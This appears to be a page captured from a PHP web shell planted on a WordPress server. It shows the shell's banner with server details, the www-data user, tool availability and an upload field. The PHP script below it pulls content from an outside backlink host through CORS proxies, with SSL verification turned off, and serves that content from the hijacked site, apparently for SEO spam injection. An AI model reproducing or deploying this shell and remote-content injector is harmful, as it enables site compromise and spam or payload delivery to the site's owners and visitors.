| Server IP : _ / Your IP : 10.10.10.167 Web Server : nginx/1.14.0 System : Linux ip-10-10-20-178 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.2.24-0ubuntu0.18.04.17 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/wordpress-phoon-huat/ |
Upload File : |
<?php
$url = "https://backlink.asteam.cloud/sitemap.xml";
// ======= COBA BEBERAPA METODE =======
$methods = [
'langsung' => $url,
'corsproxy' => 'https://corsproxy.io/?url=' . urlencode($url),
'allorigins' => 'https://api.allorigins.win/get?url=' . urlencode($url),
];
foreach ($methods as $name => $targetUrl) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $targetUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Kalau allorigins, ambil dari JSON
if ($name == 'allorigins' && $response !== false) {
$data = json_decode($response, true);
if (isset($data['contents'])) {
$response = $data['contents'];
$httpCode = 200;
}
}
if ($response !== false && $httpCode == 200) {
header('Content-Type: text/html; charset=utf-8');
echo "<!-- Dari metode: $name -->\n";
echo $response;
exit();
}
}
// Kalau semua gagal
echo "<h1>Gagal ambil konten dari semua metode</h1>";
echo "<p>URL: " . htmlspecialchars($url) . "</p>";
echo "<p>Coba akses langsung: <a href='$url' target='_blank'>$url</a></p>";
?>